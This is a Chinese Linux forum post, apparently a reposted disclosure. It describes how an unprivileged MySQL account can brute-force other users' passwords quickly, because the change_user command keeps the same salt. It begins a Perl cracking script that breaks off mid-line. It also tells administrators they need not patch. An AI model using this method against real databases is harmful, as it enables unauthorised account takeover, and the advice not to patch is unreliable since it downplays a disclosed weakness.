欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入 快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。 我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户
欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入
快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。
我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。
方法如下:
攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。
是什么导致非常慢?
因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。
下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:
测试的用户是 crackme 密码为 pass,只需数秒就可破解。
(大约 20 秒钟可测试 10 万密码)
测试脚本如下:
use Net::MySQL;
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => 'test',
user => "user",
password => "secret",
debug => 0,
);
$crackuser = "crackme";
while(
chomp;
$currentpass = $_;
$vv = join "